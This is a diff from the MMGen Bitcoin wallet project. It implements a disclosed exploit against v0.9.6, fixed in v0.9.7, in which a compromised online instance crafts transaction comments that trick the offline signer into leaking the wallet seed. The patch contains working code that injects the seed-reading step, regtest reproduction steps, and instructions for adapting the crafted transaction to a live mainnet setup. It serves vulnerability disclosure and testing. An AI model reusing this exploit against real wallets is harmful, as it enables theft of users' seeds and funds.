# mmgen = Multi-Mode GENerator, command-line Bitcoin cold storage solution # Copyright (C)2013-2023 The MMGen Project # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . # This patch implements the exploit that allowed a compromised MMGen on an # online machine to fool an offline signing MMGen into passing the user's seed # back to the online machine via a specially crafted transaction # The seed is split in two and passed via the the input and output transaction # comments # Patch is against v0.9.6 - 6b9df0e contains the fix, which was included in v0.9.7 # Testing the exploit in Regtest mode: # $ git checkout -b evil_exploit v0.9.6 # $ git apply scripts/txsign-eval-exploit.diff # $ git commit -a -m foo # $ mmgen-regtest setup # $ mmgen-regtest bob # $ mmgen-walletgen -q -p1 -r0 --bob -L label # (hit ENTER 3 times, remember Bob's Seed ID) # $ mmgen-addrgen -q --bob 1-2 # $ mmgen-addrimport -q --bob *.addrs # $ mmgen-regtest send 500 # # Set PYTHONPATH to use the patched mmgen/tx.py module without installing it: # $ PYTHONPATH=. cmds/mmgen-txcreate --tx-fee=10s -q --bob :L:2 # $ PYTHONPATH=. cmds/mmgen-txsign -q --bob *.rawtx # $ mmgen-tool --testnet=1 txview *.sigtx # Bob's seed is contained in the two comments # $ mmgen-walletconv -q -p1 -r0 --bob -o mmhex -S | cut -d ' ' -f 2- # verify that seed matches # To modify the tx file for a live autosign setup: # - uncomment the commented-out line in the patched code # - repeat the txcreate step # - edit the resulting tx file: # + replace the testnet addresses with their mainnet equivalents # + replace 'REGTEST' with 'MAINNET' # + replace the file's checksum in the first line with the output of 'scripts/compute-file-chksum.py' # Make sure to return to master branch when you're finished: # $ git checkout master diff --git a/mmgen/tx.py b/mmgen/tx.py index 0d43840..d167040 100755 --- a/mmgen/tx.py +++ b/mmgen/tx.py @@ -557,6 +557,15 @@ class MMGenTX(MMGenObject): def format(self): self.inputs.check_coin_mismatch() self.outputs.check_coin_mismatch() + d_in = repr([e.__dict__ for e in self.inputs]) + d_out = repr([e.__dict__ for e in self.outputs]) + if g.prog_name == 'mmgen-txcreate': + mod = "__import__('mmgen.seed',globals(),locals(),['SeedSource'])" + wdir = "os.environ['HOME']+'/.mmgen/regtest/btc/bob/'" + # wdir = "'/dev/shm/autosign/'" # use this for a real online/offline setup with autosign + wfile = "{w}+os.listdir({w})[-1]".format(w=wdir) + d_in = d_in.replace("'label': u''","'label': {}.SeedSource({}).seed.hexdata[:32]".format(mod,wfile)) + d_out = d_out.replace('{',"{{'label': {}.SeedSource({}).seed.hexdata[32:], ".format(mod,wfile)) lines = [ '{}{} {} {} {} {}{}'.format( (g.coin+' ','')[g.coin=='BTC'], @@ -568,8 +577,8 @@ class MMGenTX(MMGenObject): ('',' LT={}'.format(self.locktime))[bool(self.locktime)] ), self.hex, - repr([e.__dict__ for e in self.inputs]), - repr([e.__dict__ for e in self.outputs]) + d_in, + d_out ] if self.label: lines.append(baseconv.b58encode(self.label.encode('utf8')))